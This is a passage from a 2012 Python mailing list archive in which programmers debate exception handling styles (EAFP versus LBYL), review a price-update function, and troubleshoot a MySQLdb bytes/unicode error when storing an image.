<20121206084926.GD14400@hud> Message-ID: On Thu, Dec 6, 2012 at 7:49 PM, Bruno Dupuis wrote: > > The point is Exceptions are made for error handling, not for normal > workflow. I hate when i read that for example: > > try: > do_stuff(mydict[k]) > except KeyError: > pass > > (loads of them in many libraries and frameworks) > instead of: > > if k in mydict: > do_stuff(mydict[k]) > > Note that the performances are better with the latter. > This is the age-old question of EAFP vs LBYL. The check-first "Look Before You Leap" option has a small chance of race condition. If something changes between the 'if' and the usage, maybe from another thread or maybe a signal handler or perhaps some object's __del__ method gets called or who knows what, you'll have a problem. Python's usual philosophy is that it's Easier to Ask Forgiveness than Permission. Just do it, and jump out if you can't. This technique plays *very* nicely with generic handlers. For instance, at work I wrote an HTTP daemon that's supposed to receive XML-encoded POST data with a particular structure. The handler function (called once for every HTTP request) looks something like this, in Pythonesque pseudocode: def handler(req): try: msg = parse_xml(req.body) # returns a dict of dicts/lists/strings stuff = msg["soapenv:Envelope"]["soapenv:Body"]["GetItemTransactionsResponse"] sig = stuff["Item"]["ApplicationData"] if sig.does.not.match(): return "Bad request" sscanf(sig,"FOO %d %d %d",account,table,row) accountdata[account][table][row] = 1 return "Done and successful." except: log_error_to_stderr() return "Done." I don't particularly care _what_ the error is. Most of the time, I won't even bother to look at the log file (it's run via an Upstart job, and stderr is redirected to a file), but if I'm having problems, I can go check. Generally, exceptions thrown by that code are the result of malformed info packets; since it's basic HTTP, it's easy for anyone to send a request in, and I don't care to see those errors logged. In fact, the logging to stderr can even get commented out in production, and used only when there's actually a problem being diagnosed. To try to handle all possible errors in that code by LBLY, I would need to pepper the code with conditions and an appropriate 'return' statement (and, though the pseudo-code has the function returning a string, the actual code involves an explicit "send this response" call). Plus, I'd need to predict every possible failure. With EAFP, all I need is one simple "catch" handler for the whole block of code, and I can easily eyeball just a few function exit points to see that an appropriate HTTP response will always be sent. Each has its place. ChrisA From tolidtm at gmail.com Thu Dec 6 04:36:38 2012 From: tolidtm at gmail.com (Anatoli Hristov) Date: Thu, 6 Dec 2012 10:36:38 +0100 Subject: Confused compare function :) In-Reply-To: <50bfe774$0$29994$c3e8da3$5496439d@news.astraweb.com> References: <50bfe774$0$29994$c3e8da3$5496439d@news.astraweb.com> Message-ID: On Thu, Dec 6, 2012 at 1:31 AM, Steven D'Aprano wrote: > On Wed, 05 Dec 2012 23:50:49 +0100, Anatoli Hristov wrote: > > >> def Change_price(): > > Misleading function name. What price does it change? > > >> total = 0 >> tnf = 0 > > "tnf"? Does that mean something? > > >> for row in DB: # DB is mySQL DB, logically I get out >> # 1 SKU and I compare it with next loop > > Use of global variables, yuck. What happens if some day you need two > databases at the same time? > > >> isku = row["sku"] >> isku = isku.lower() > > Hungarian Notation? This is better written as: > > sku = row["sku"].lower() > > >> iprice = row["price"] >> iprice = int(iprice) > > And likewise price = int(row["price"]). Or better still, "oldprice", or > "price_in_database", or something that actually describes what it is. > > >> found = 0 > > found = False > > >> try: >> for x in PRICELIST: # here is my next loop in a CSV file >> # which is allready in a list PRICELIST >> try: >> dprice = x[6] > > "dprice"? D-for-database price? But this is the price from the CSV file, > not from the database. Another misleading name, leading to confusion. > > >> dprice = dprice.replace(",",".") >> # As in the PRICELIST the prices are with >> # commas I replace the comma as python request it >> dprice = float(dprice) >> newprice = round(dprice)*1.10 >> dsku = x[4] >> dsku = dsku.lower() > > And again, what's "dsku" mean? Database-SKU? But it's the CSV SKU. > > >> stock = int(x[7]) > > I don't believe that this is used at all. Get rid of it. > > >> if isku == dsku and newprice < int(iprice): >> # If found the coresponded SKU and the price is >> # higher than the one in the CSV I update the price > > I think your logic is wrong here. You aren't comparing the price in the > CSV here at all. You compare two prices, neither of which is the price in > the CSV file: > > newprice = round(price in CSV) * 1.10 > iprice = price from the database > > (which is already an int, no need to call int *again* -- if you're going > to use Hungarian Notation, pay attention to it!) > > So you have THREE prices, not two, and it isn't clear which ones you are > *supposed* to compare. Either the code is wrong, or the comment is wrong, > or possibly both. > > iprice = price from the database > dprice = price from the CSV > newprice = calculated new price > > I'm going to GUESS that you actually want to compare the new price with > the price in the database. > > if newprice > iprice: # horrible name! no wonder you are confused > # Update the database with the new price > > >> print dsku, x[6], dprice, newprice >> Update_SQL(newprice, isku) >> # goes to the SQL Update > > Really? Gosh, without the comment, how would anyone know that Update_SQL > updates the SQL? :-P > > Seriously, the comment is redundant. Get rid of it. > > >> print isku, newprice >> if isku == dsku: >> # Just a check to see if it works >> print "Found %s" %dsku >> found = 1 >> else: >> found = 0 > > found = True or False is better. > > But this code cannot do anything but print Found, since above you already > tested that isku == dsku. So this check is pointless. > > The reason is, your code does this: > > if isku == dsku and (something else): > # Inside this block, isku MUST equal dsku > blah blah blah > if isku == dsku: > print "Found" > found = 1 > else: > # But this cannot possibly happen > print "not found" > found = 0 > > >> except IndexError: >> pass >> except ValueError: >> pass >> except TypeError: >> pass > > Why are you hiding errors? You should not hide errors unnecessarily, that > means there are bugs in either the CSV or your code, you should fix the > bugs. > > However, if you really must, then you can replace all of those with: > > except (IndexError, ValueError, TypeError): > pass > > >> except IndexError: >> pass > > And hiding more errors? > > >> if found == 1: >> print "%s This is match" % isku >> if found == 0: >> print "%s Not found" % isku >> tnf = tnf +1 >> total = total +1 > > Better to write this as: > > if found: > print "%s This is match" % isku > else: > print "%s Not found" % isku > tnf = tnf + 1 # What does this mean? > total += 1 > > >> print "Total updated: %s" % total > > That's wrong. total is *not* the number updated. It is the total, updated > or not updated. This should say: > > print "Total records inspected: %s" % total > > >> print"Total not found with in the distributor: %s" % tnf > > Ah-ha! It means "Total Not Found"! I shouldn't have to read all the way > to the end of the code to discover this. Instead of "tnf", you should > count the total number of SKUs, and count how many times you call > Update_SQL. Then you can report: > > Total records inspected: 754 > Total records updated: 392 > > (or whatever the values are). > > > > Simplify and clean up your code, and then it will be easier to find and > fix the problems in it. Good luck! > > > > -- > Steven > -- > http://mail.python.org/mailman/listinfo/python-list Thank you Steven for your help. Now I renamed all the variables and it seems working I didn't found the mistake, but it seems working :) Here is the new code: def Change_price(): # Changes the price in the DB if the price in the CSV is changed TotalUpdated = 0 # Counter for total updated TotalNotFound = 0 # Counter for total not found for row in PRODUCTSDB: db_sku = row["sku"].lower() db_price = int(row["price"]) found = False try: for x in pricelist: try: csv_price = x[6] csv_price = csv_price.replace(",",".") csv_price = float(csv_price) csv_new_price = round(csv_price)*1.10 csv_sku = x[4].lower() csv_stock = int(x[7]) # I used this as normally I used stock in the condition if len(db_sku) != 0 and db_sku == csv_sku and csv_new_price < db_price and csv_stock > 0: print db_sku, csv_price, db_price, csv_new_price Update_SQL(csv_new_price, db_sku) found = True TotalUpdated += 1 else: found = False except IndexError: # I have a lot of index error in the CSV (empty fields) and the loop gives "index error" I don't care about them pass except ValueError: pass except TypeError: pass except IndexError: pass if found: TotalNotFound += 1 print "%s This is match" % db_sku else: print "%s Not found" % db_sku TotalNotFound += 1 print "Total updated: %s" % TotalUpdated print"Total not found with in the distributor: %s" % TotalNotFound From redstone-cold at 163.com Thu Dec 6 05:07:51 2012 From: redstone-cold at 163.com (iMath) Date: Thu, 6 Dec 2012 02:07:51 -0800 (PST) Subject: UnicodeDecodeError: 'utf-8' codec can't decode byte 0x89 in position 0: invalid start byte Message-ID: <7ac5958d-3cdf-4320-b965-6245c3e85599@googlegroups.com> the following code originally from http://zetcode.com/databases/mysqlpythontutorial/ within the "Writing images" part . import MySQLdb as mdb import sys try: fin = open("Chrome_Logo.svg.png",'rb') img = fin.read() fin.close() except IOError as e: print ("Error %d: %s" % (e.args[0],e.args[1])) sys.exit(1) try: conn = mdb.connect(host='localhost',user='testuser', passwd='test623', db='testdb') cursor = conn.cursor() cursor.execute("INSERT INTO Images SET Data='%s'" % \ mdb.escape_string(img)) conn.commit() cursor.close() conn.close() except mdb.Error as e: print ("Error %d: %s" % (e.args[0],e.args[1])) sys.exit(1) I port it to python 3 ,and also change fin = open("chrome.png") to fin = open("Chrome_Logo.png",'rb') but when I run it ,it gives the following error : Traceback (most recent call last): File "E:\Python\py32\itest4.py", line 20, in mdb.escape_string(img)) UnicodeDecodeError: 'utf-8' codec can't decode byte 0x89 in position 0: invalid start byte so how to fix it ? From tjreedy at udel.edu Thu Dec 6 05:29:04 2012 From: tjreedy at udel.edu (Terry Reedy) Date: Thu, 06 Dec 2012 05:29:04 -0500 Subject: UnicodeDecodeError: 'utf-8' codec can't decode byte 0x89 in position 0: invalid start byte In-Reply-To: <7ac5958d-3cdf-4320-b965-6245c3e85599@googlegroups.com> References: <7ac5958d-3cdf-4320-b965-6245c3e85599@googlegroups.com> Message-ID: On 12/6/2012 5:07 AM, iMath wrote: > the following code originally from http://zetcode.com/databases/mysqlpythontutorial/ > within the "Writing images" part . > > > import MySQLdb as mdb Not part of stdlib. 'MySQLdb' should be in the subject line to get attention of someone who is familiar with it. I am not. > import sys > > try: > fin = open("Chrome_Logo.svg.png",'rb') > img = fin.read() > fin.close() > > except IOError as e: > > print ("Error %d: %s" % (e.args[0],e.args[1])) > sys.exit(1) > > > try: > conn = mdb.connect(host='localhost',user='testuser', > passwd='test623', db='testdb') > cursor = conn.cursor() > cursor.execute("INSERT INTO Images SET Data='%s'" % \ > mdb.escape_string(img)) From the name, I would expect that excape_string expects text. From the error, it seems to specifically expect utf-8 encoded bytes. After decoding, I expect that it does some sort of 'escaping'. An image does not qualify as that sort of input. If escape_string takes an encoding arg, latin1 *might* work. > conn.commit() > > cursor.close() > conn.close() > > except mdb.Error as e: > > print ("Error %d: %s" % (e.args[0],e.args[1])) > sys.exit(1) > > > I port it to python 3 ,and also change > fin = open("chrome.png") > to > fin = open("Chrome_Logo.png",'rb') > but when I run it ,it gives the following error : > > Traceback (most recent call last): > File "E:\Python\py32\itest4.py", line 20, in > mdb.escape_string(img)) > UnicodeDecodeError: 'utf-8' codec can't decode byte 0x89 in position 0: invalid start byte > > so how to fix it ? > -- Terry Jan Reedy From __peter__ at web.de Thu Dec 6 05:45:09 2012 From: __peter__ at web.de (Peter Otten) Date: Thu, 06 Dec 2012 11:45:09 +0100 Subject: Dict comprehension help References: <92097A6A775D5147B1078E3F15430B92349092E6@prato.activenetwerx.local> Message-ID: Joseph L. Casale wrote: [Ian Kelly] >> {k: v for d in my_list if d['key'] == value for (k, v) in d.items()} > > Ugh, had part of that backwards:) Nice! > >> However, since you say that all dicts have a unique value for >> z['key'], you should never need to actually merge two dicts, correct? >> In that case, why not just use a plain for loop to search for the >> dict? > > The reason is that I need several of these in an init function and they > stack up nicely where as the loops get unruly in length, but I don't > disagree. You could put the loop into a helper function, but if you are looping through the same my_list more than once why not build a lookup table my_dict = {d["key"]: d for d in my_list} and then find the required dict with my_dict[value] From hansmu at xs4all.nl Thu Dec 6 06:07:35 2012 From: hansmu at xs4all.nl (Hans Mulder) Date: Thu, 06 Dec 2012 12:07:35 +0100 Subject: UnicodeDecodeError: 'utf-8' codec can't decode byte 0x89 in position 0: invalid start byte In-Reply-To: <7ac5958d-3cdf-4320-b965-6245c3e85599@googlegroups.com> References: <7ac5958d-3cdf-4320-b965-6245c3e85599@googlegroups.com> Message-ID: <50c07c77$0$6884$e4fe514c@news2.news.xs4all.nl> On 6/12/12 11:07:51, iMath wrote: > the following code originally from http://zetcode.com/databases/mysqlpythontutorial/ > within the "Writing images" part . > > > import MySQLdb as mdb > import sys > > try: > fin = open("Chrome_Logo.svg.png",'rb') > img = fin.read() > fin.close() > > except IOError as e: > > print ("Error %d: %s" % (e.args[0],e.args[1])) > sys.exit(1) > > > try: > conn = mdb.connect(host='localhost',user='testuser', > passwd='test623', db='testdb') > cursor = conn.cursor() > cursor.execute("INSERT INTO Images SET Data='%s'" % \ > mdb.escape_string(img)) You shouldn't call mdb.escape_string directly. Instead, you should put placeholders in your SQL statement and let MySQLdb figure out how to properly escape whatever needs escaping. Somewhat confusingly, placeholders are written as %s in MySQLdb. They differ from strings in not being enclosed in quotes. The other difference is that you'd provide two arguments to cursor.execute; the second of these is a tuple; in this case a tuple with only one element: cursor.execute("INSERT INTO Images SET Data=%s", (img,)) > conn.commit() > > cursor.close() > conn.close() > > except mdb.Error as e: > > print ("Error %d: %s" % (e.args[0],e.args[1])) > sys.exit(1) > > > I port it to python 3 ,and also change > fin = open("chrome.png") > to > fin = open("Chrome_Logo.png",'rb') > but when I run it ,it gives the following error : > > Traceback (most recent call last): > File "E:\Python\py32\itest4.py", line 20, in > mdb.escape_string(img)) > UnicodeDecodeError: 'utf-8' codec can't decode byte 0x89 in position 0: invalid start byte > > so how to fix it ? Python 3 distinguishes between binary data and Unicode text. Trying to apply string functions to images or other binary data won't work. Maybe correcting this bytes/strings confusion and porting to Python 3 in one go is too large a transformation. In that case, your best bet would be to go back to Python 2 and fix all the bytes/string confusion there. When you've got it working again, you may be ready to port to Python 3. Hope this helps, -- HansM From steve+comp.lang.python at pearwood.info Thu Dec 6 06:27:28 2012 From: steve+comp.lang.python at pearwood.info (Steven D'Aprano) Date: 06 Dec 2012 11:27:28 GMT Subject: UnicodeDecodeError: 'utf-8' codec can't decode byte 0x89 in position 0: invalid start byte References: <7ac5958d-3cdf-4320-b965-6245c3e85599@googlegroups.com> Message-ID: <50c0811f$0$29994$c3e8da3$5496439d@news.astraweb.com> On Thu, 06 Dec 2012 02:07:51 -0800, iMath wrote: > the following code originally from > http://zetcode.com/databases/mysqlpythontutorial/ within the "Writing > images" part . > > > import MySQLdb as mdb > import sys > > try: > fin = open("Chrome_Logo.svg.png",'rb') > img = fin.read() > fin.close() > except IOError as e: > print ("Error %d: %s" % (e.args[0],e.args[1])) > sys.exit(1) Every time a programmer catches an exception, only to merely print a vague error message and then exit, God kills a kitten. Please don't do that. If all you are going to do is print an error message and then exit, please don't bother. All you do is make debugging harder. When Python detects an error, by default it prints a full traceback, which gives you lots of information to track down the error. By catching that exception as you do, you lose that information and make it harder to debug. Moving on to the next thing: [snip code] > I port it to python 3 ,and also change fin = open("chrome.png") > to > fin = open("Chrome_Logo.png",'rb') > but when I run it ,it gives the following error : > > Traceback (most recent call last): > File "E:\Python\py32\itest4.py", line 20, in > mdb.escape_string(img)) > UnicodeDecodeError: 'utf-8' codec can't decode byte 0x89 in position 0: > invalid start byte > > so how to fix it ? I suggest you start by reading the documentation for MySQLdb.escape_string. What does it do? What does it expect? A byte string or a unicode text string? It seems very strange to me that you are reading a binary file, then passing it to something which appears to be expecting a string. It looks like what happens is that the PNG image starts with a 0x89 byte, and the escape_string function tries to decode those bytes into Unicode text: py> img = b"\x89\x00\x23\xf2" # fake PNG binary data py> img.decode('utf-8') # I'm expecting text Traceback (most recent call last): File "", line 1, in UnicodeDecodeError: 'utf-8' codec can't decode byte 0x89 in position 0: invalid start byte Without knowing more about escape_string, I can only make a wild guess. Try this: import base64 img = fin.read() # read the binary data of the PNG file data = base64.encodebytes(img) # turn the binary image into text cursor.execute("INSERT INTO Images SET Data='%s'" % \ mdb.escape_string(data)) and see what that does. -- Steven From steve+comp.lang.python at pearwood.info Thu Dec 6 06:47:50 2012 From: steve+comp.lang.python at pearwood.info (Steven D'Aprano) Date: 06 Dec 2012 11:47:50 GMT Subject: Confused compare function :) References: <50c01fe2$0$21853$c3e8da3$76491128@news.astraweb.com> Message-ID: <50c085e5$0$29994$c3e8da3$5496439d@news.astraweb.com> On Thu, 06 Dec 2012 09:49:26 +0100, Bruno Dupuis wrote: > The point is Exceptions are made for error handling, not for normal > workflow. That's certainly not the case in Python. Using exceptions for flow control is a standard part of the language. IndexError and StopIteration are used to detect the end of lists or iterators in for loops. GeneratorExit is used to request that generators exit. SysExit is used to exit the interpreter. There is nothing wrong with using exceptions for flow control in moderation. > I hate when i read that for example: > > try: > do_stuff(mydict[k]) > except KeyError: > pass > > (loads of them in many libraries and frameworks) instead of: > > if k in mydict: > do_stuff(mydict[k]) > > Note that the performances are better with the latter. Not so. Which one is faster will depend on how often you expect to fail. If the keys are nearly always present, then: try: do_stuff(mydict[k]) except KeyError: pass will be faster. Setting up a try block is very fast, about as fast as "pass", and faster than "if k in mydict". But if the key is often missing, then catching the exception will be slow, and the "if k in mydict" version may be faster. It depends on how often the key is missing. [...] > It depends also on the context, I'd be more 'permissive' a short script > than into a large program, framework, or lib, for the very reason it's > easy to know all code interactions. > > In my coder life, i spent more time debugging silently swallowed > exceptions than logging abnormal behaviours. That's fine. I agree with you about not silently swallowing errors. Where I disagree is that you said "never ever", which is an exaggeration. Remember that exceptions are not always errors. Problem: take a list of strings, and add up the ones which are integers, ignoring everything else. Solution: total = 0 for s in list_of_strings: try: total += int(s) except ValueError: pass # Not a number, ignore it. Why would you want to log that? It's not an error, it is working as designed. I hate software that logs every little thing that happens, so that you cannot tell what's important and what isn't. -- Steven From pjmakey2 at gmail.com Thu Dec 6 06:55:16 2012 From: pjmakey2 at gmail.com (peter) Date: Thu, 06 Dec 2012 08:55:16 -0300 Subject: Confused compare function :) In-Reply-To: <50c085e5$0$29994$c3e8da3$5496439d@news.astraweb.com> References: <50c01fe2$0$21853$c3e8da3$76491128@news.astraweb.com> <50c085e5$0$29994$c3e8da3$5496439d@news.astraweb.com> Message-ID: <50C087A4.8080507@gmail.com> On 12/06/2012 08:47 AM, Steven D'Aprano wrote: > On Thu, 06 Dec 2012 09:49:26 +0100, Bruno Dupuis wrote: > >> The point is Exceptions are made for error handling, not for normal >> workflow. > That's certainly not the case in Python. Using exceptions for flow > control is a standard part of the language. > > IndexError and StopIteration are used to detect the end of lists or > iterators in for loops. > > GeneratorExit is used to request that generators exit. > > SysExit is used to exit the interpreter. > > > There is nothing wrong with using exceptions for flow control in > moderation. > > >> I hate when i read that for example: >> >> try: >> do_stuff(mydict[k]) >> except KeyError: >> pass >> >> (loads of them in many libraries and frameworks) instead of: >> >> if k in mydict: >> do_stuff(mydict[k]) >> >> Note that the performances are better with the latter. > Not so. Which one is faster will depend on how often you expect to fail. > If the keys are nearly always present, then: > > try: > do_stuff(mydict[k]) > except KeyError: > pass > > will be faster. Setting up a try block is very fast, about as fast as > "pass", and faster than "if k in mydict". > > But if the key is often missing, then catching the exception will be > slow, and the "if k in mydict" version may be faster. It depends on how > often the key is missing. > > > [...] >> It depends also on the context, I'd be more 'permissive' a short script >> than into a large program, framework, or lib, for the very reason it's >> easy to know all code interactions. >> >> In my coder life, i spent more time debugging silently swallowed >> exceptions than logging abnormal behaviours. > > That's fine. I agree with you about not silently swallowing errors. Where > I disagree is that you said "never ever", which is an exaggeration. > Remember that exceptions are not always errors. > > Problem: take a list of strings, and add up the ones which are integers, > ignoring everything else. > > Solution: > > total = 0 > for s in list_of_strings: > try: > total += int(s) > except ValueError: > pass # Not a number, ignore it. > > > Why would you want to log that? It's not an error, it is working as > designed. I hate software that logs every little thing that happens, so > that you cannot tell what's important and what isn't. > > > Is perfectly right to use try catch for a flow control. Just think in something more complex like this. try: self._conn = MySQLdb.connect(host=host, user=user, passwd=passwd, db=db) except: logging.info("Error de conexion con la base de datos") inform(subject = 'Db down on app %s' % app, body=sbody) Or maybe something like this. try: cursor.execute(sqli, data) self._conn.commit() except: try: self._conn.rollback() cursor.execute(sqli, data) self._conn.commit() except Exception, e: pass # print e # logging.info('ERROR en la insercion %s' % e) This is pretty dumb, but is a valid example, on what you can do with try catch From rosuav at gmail.com Thu Dec 6 07:14:17 2012 From: rosuav at gmail.com (Chris Angelico) Date: Thu, 6 Dec 2012 23:14:17 +1100 Subject: Confused compare function :) In-Reply-To: <50c085e5$0$29994$c3e8da3$5496439d@news.astraweb.com> References: <50c01fe2$0$21853$c3e8da3$76491128@news.astraweb.com> <50c085e5$0$29994$c3e8da3$5496439d@news.astraweb.com> Message-ID: On Thu, Dec 6, 2012 at 10:47 PM, Steven D'Aprano wrote: > Not so. Which one is faster will depend on how often you expect to fail. > If the keys are nearly always present, then: > > try: > do_stuff(mydict[k]) > except KeyError: > pass > > will be faster. Setting up a try block is very fast, about as fast as > "pass", and faster than "if k in mydict". > > But if the key is often missing, then catching the exception will be > slow, and the "if k in mydict" version may be faster. It depends on how > often the key is missing. > Setting up the try/except is a constant time cost, while the duplicated search for k inside the dictionary might depend on various other factors. In the specific case of a Python dictionary, the membership check is fairly cheap (assuming you're not the subject of a hash collision attack - Py3.3 makes that a safe assumption), but if you were about to execute a program and wanted to first find out if it existed, that extra check could be ridiculously expensive, eg if the path takes you on a network drive - or, worse, on multiple network drives, which I have had occasion to do! ChrisA From neilc at norwich.edu Thu Dec 6 08:06:50 2012 From: neilc at norwich.edu (Neil Cerutti) Date: 6 Dec 2012 13:06:50 GMT Subject: Good use for itertools.dropwhile and itertools.takewhile References: <26781aa9-b4a2-4308-8db2-5a150da2128f@googlegroups.com> <945048d8-961e-4894-89fc-3b7fd9b7965b@googlegroups.com> Message-ID: On 2012-12-05, Vlastimil Brom wrote: > ... PARSNIP, certified organic I'm not sure on this one. > ('PARSNIP', ', certified organic') -- Neil Cerutti From hansmu at xs4all.nl Thu Dec 6 08:32:46 2012 From: hansmu at xs4all.nl (Hans Mulder) Date: Thu, 06 Dec 2012 14:32:46 +0100 Subject: Confused compare function :) In-Reply-To: References: <50c01fe2$0$21853$c3e8da3$76491128@news.astraweb.com> <50c085e5$0$29994$c3e8da3$5496439d@news.astraweb.com> Message-ID: <50c09e80$0$6897$e4fe514c@news2.news.xs4all.nl> On 6/12/12 12:55:16, peter wrote: > Is perfectly right to use try catch for a flow control. > Just think in something more complex like this. > > try: > self._conn = MySQLdb.connect(host=host, > user=user, > passwd=passwd, > db=db) > except: > logging.info("Error de conexion con la base de datos") > inform(subject = 'Db down on app %s' % app, body=sbody) This is an example of the sort of incorrect code you should try to avoid. An improved version is: self._conn = MySQLdb.connect(host=host, user=user, passwd=passwd, db=db) By not catching the exception, you're allowing the Python interpreter to report what the problem was, for example "Keyboard interrupt" or "Access denied". By report "DB down" when there is no reason to assume that that is the problem, you're confusing the user. > Or maybe something like this. > > try: > cursor.execute(sqli, data) > self._conn.commit() > except: > try: > self._conn.rollback() > cursor.execute(sqli, data) > self._conn.commit() > except Exception, e: > pass > # print e > # logging.info('ERROR en la insercion %s' % e) This is another example of what not to do. Even the commented-out print statement loses information, viz. the traceback. If you leave out the try/except, then more accurate information will be printed, and a programmer who needs to fix the problem, can run the code under the debugger and it will automatically stop at the point where the uncaught exception is raised. That's much easier than having to set breakpoints at all the "except Exception:" clauses in a typical chunk of hard-to-maintain code. Context managers were invented to make it easier to do this sort of thing correctly. For example: with sqlite3.connect(dbpath) as connection: connection.cursor().execute(sqli, data) If the flow reaches the end of the "with" command, the connection object will self.commit() automatically. If an exception is raised, the connection object will self.rollback() automatically. No try/except required. This is shorter, and much easier to get right. > This is pretty dumb, but is a valid example, on what you can > do with try catch It is an unfortunate fact of life that you can write code that is hard to maintain. The fact that you *can* do this, does not mean that you should. Hope this helps, -- HansM From nutznetz-0c1b6768-bfa9-48d5-a470-7603bd3aa915 at spamschutz.glglgl.de Thu Dec 6 08:33:51 2012 From: nutznetz-0c1b6768-bfa9-48d5-a470-7603bd3aa915 at spamschutz.glglgl.de (Thomas Rachel) Date: Thu, 06 Dec 2012 14:33:51 +0100 Subject: Confused compare function :) In-Reply-To: References: <50c01fe2$0$21853$c3e8da3$76491128@news.astraweb.com> Message-ID: Am 06.12.2012 09:49 schrieb Bruno Dupuis: > The point is Exceptions are made for error handling, not for normal > workflow. I hate when i read that for example: > > try: > do_stuff(mydict[k]) > except KeyError: > pass I as well, but for other reasons (see below). But basically this is EAFP. > (loads of them in many libraries and frameworks) > instead of: > > if k in mydict: > do_stuff(mydict[k]) This is LBYL, C-style, not Pythonic. I would do try: value = mydict[k] except KeyError: pass else: do_stuff(k) Why? Because do_stuff() might raise a KeyError, which should not go undetected. Thomas From news at blinne.net Thu Dec 6 08:40:32 2012 From: news at blinne.net (Alexander Blinne) Date: Thu, 06 Dec 2012 14:40:32 +0100 Subject: Good use for itertools.dropwhile and itertools.takewhile In-Reply-To: <26781aa9-b4a2-4308-8db2-5a150da2128f@googlegroups.com> References: <26781aa9-b4a2-4308-8db2-5a150da2128f@googlegroups.com> Message-ID: <50c0a051$0$9514$9b4e6d93@newsspool1.arcor-online.net> Am 05.12.2012 18:04, schrieb Nick Mellor: > Sample data Well let's see what def split_product(p): p = p.strip() w = p.split(" ") try: j = next(i for i,v in enumerate(w) if v.upper() != v) except StopIteration: return p, '' return " ".join(w[:j]), " ".join(w[j:]) (which i still find a very elegant solution) has to say about those sample data: >>> for line in open('test.dat', 'r'): ... print(split_product(line)) ('BEANS', 'hand picked') ('BEETROOT', 'certified organic') ('BOK CHOY', '(bunch)') ('BROCCOLI', 'Mornington Peninsula') ('BRUSSEL SPROUTS', '') ('CABBAGE', 'green') ('CABBAGE', 'Red') ('CAPSICUM RED', '') ('CARROTS', '') ('CARROTS', 'loose') ('CARROTS', 'juicing, certified organic') ('CARROTS', 'Trentham, large seconds, certified organic') ('CARROTS', 'Trentham, firsts, certified organic') ('CAULIFLOWER', '') ('CELERY', 'Mornington Peninsula IPM grower') ('CELERY', 'Mornington Peninsula IPM grower') ('CUCUMBER', '') ('EGGPLANT', '') ('FENNEL', '') ('GARLIC', '(from Argentina)') ('GINGER', 'fresh uncured') ('KALE', '(bunch)') ('KOHL RABI', 'certified organic') ('LEEKS', '') ('LETTUCE', 'iceberg') ('MUSHROOM', 'cup or flat') ('MUSHROOM', 'Swiss brown') ('ONION', 'brown') ('ONION', 'red') ('ONION', 'spring (bunch)') ('PARSNIP,', 'certified organic') ('POTATOES', 'certified organic') ('POTATOES', 'Sebago') ('POTATOES', 'Desiree') ('POTATOES', 'Bullarto chemical free') ('POTATOES', 'Dutch Cream') ('POTATOES', 'Nicola') ('POTATOES', 'Pontiac') ('POTATOES', 'Otway Red') ('POTATOES', 'teardrop') ('PUMPKIN', 'certified organic') ('SCHALLOTS', 'brown') ('SNOW PEAS', '') ('SPINACH', "I'll try to get certified organic (bunch)") ('SWEET POTATO', 'gold certified organic') ('SWEET POTATO', 'red small') ('SWEDE', 'certified organic') ('TOMATOES ', 'Qld') ('TURMERIC', 'fresh certified organic') ('ZUCCHINI', '') ('APPLES', 'Harcourt Pink Lady, Fuji, Granny Smith') ('APPLES', 'Harcourt 2 kg bags, Pink Lady or Fuji (bag)') ('AVOCADOS', '') ('AVOCADOS', 'certified organic, seconds') ('BANANAS', 'Qld, organic') ('GRAPEFRUIT', '') ('GRAPES', 'crimson seedless') ('KIWI FRUIT', 'Qld certified organic') ('LEMONS', '') ('LIMES', '') ('MANDARINS', '') ('ORANGES', 'Navel') ('PEARS', 'Beurre Bosc Harcourt new season') ('PEARS', 'Packham, Harcourt new season') ('SULTANAS', '350g pre-packed bags') ('EGGS', "Melita free range, Barker's Creek") ('BASIL', '(bunch)') ('CORIANDER', '(bunch)') ('DILL', '(bunch)') ('MINT', '(bunch)') ('PARSLEY', '(bunch)') ('', 'Spring ONION from QLD') I think the only thing one is left to think about is the ('PARSNIP,', 'certified organic') case. What about that extra comma? Perhaps it could even be considered an "error" in the original data? I don't see a good general way to deal with those which does not have to handle trailing punctuation on the product name explicitly as a special case. Greetings From rosuav at gmail.com Thu Dec 6 08:47:16 2012 From: rosuav at gmail.com (Chris Angelico) Date: Fri, 7 Dec 2012 00:47:16 +1100 Subject: Confused compare function :) In-Reply-To: <50c09e80$0$6897$e4fe514c@news2.news.xs4all.nl> References: <50c01fe2$0$21853$c3e8da3$76491128@news.astraweb.com> <50c085e5$0$29994$c3e8da3$5496439d@news.astraweb.com> <50c09e80$0$6897$e4fe514c@news2.news.xs4all.nl> Message-ID: On Fri, Dec 7, 2012 at 12:32 AM, Hans Mulder wrote: > On 6/12/12 12:55:16, peter wrote: >> Is perfectly right to use try catch for a flow control. >> Just think in something more complex like this. >> >> try: >> self._conn = MySQLdb.connect(host=host, >> user=user, >> passwd=passwd, >> db=db) >> except: >> logging.info("Error de conexion con la base de datos") >> inform(subject = 'Db down on app %s' % app, body=sbody) > > This is an example of the sort of incorrect code you > should try to avoid. An improved version is: > > self._conn = MySQLdb.connect(host=host, > user=user, > passwd=passwd, > db=db) > > By not catching the exception, you're allowing the > Python interpreter to report what the problem was, > for example "Keyboard interrupt" or "Access denied". > > By report "DB down" when there is no reason to assume > that that is the problem, you're confusing the user. The problem with the original example is that it has a bare except, which will catch too much. Call it an oversimplified example, perhaps :) By not catching the exception, you doom your entire script to abort. What Steven called felicide is catching exceptions *and immediately exiting*, which offers little benefit over just letting the exception propagate up. >> Or maybe something like this. >> >> try: >> cursor.execute(sqli, data) >> self._conn.commit() >> except: >> try: >> self._conn.rollback() >> cursor.execute(sqli, data) >> self._conn.commit() >> except Exception, e: >> pass >> # print e >> # logging.info('ERROR en la insercion %s' % e) > > This is another example of what not to do. Even the > commented-out print statement loses information, viz. > the traceback. > > If you leave out the try/except, then more accurate > information will be printed, and a programmer who needs > to fix the problem, can run the code under the debugger > and it will automatically stop at the point where the > uncaught exception is raised. That's much easier than > having to set breakpoints at all the "except Exception:" > clauses in a typical chunk of hard-to-maintain code. Again, oversimplified example. If this were real code, I'd criticize the bare except (and the "except Exception", which has the same problem). > Context managers were invented to make it easier to do > this sort of thing correctly. For example: > > with sqlite3.connect(dbpath) as connection: > connection.cursor().execute(sqli, data) > > If the flow reaches the end of the "with" command, > the connection object will self.commit() automatically. > If an exception is raised, the connection object will > self.rollback() automatically. No try/except required. > > This is shorter, and much easier to get right. But it does something completely different. The original code's logic is: Try the query, then commit. If that fails, roll back and have another shot at it. This is dangerous if there could have been other statements in the transaction (they won't be retried), but otherwise, it's a reasonable way of dealing with serialization failures. It has its risks, of course, but it's not meant to be a demo of database code, it's a demo of try/except. >> This is pretty dumb, but is a valid example, on what you can >> do with try catch > > It is an unfortunate fact of life that you can write code > that is hard to maintain. The fact that you *can* do this, > 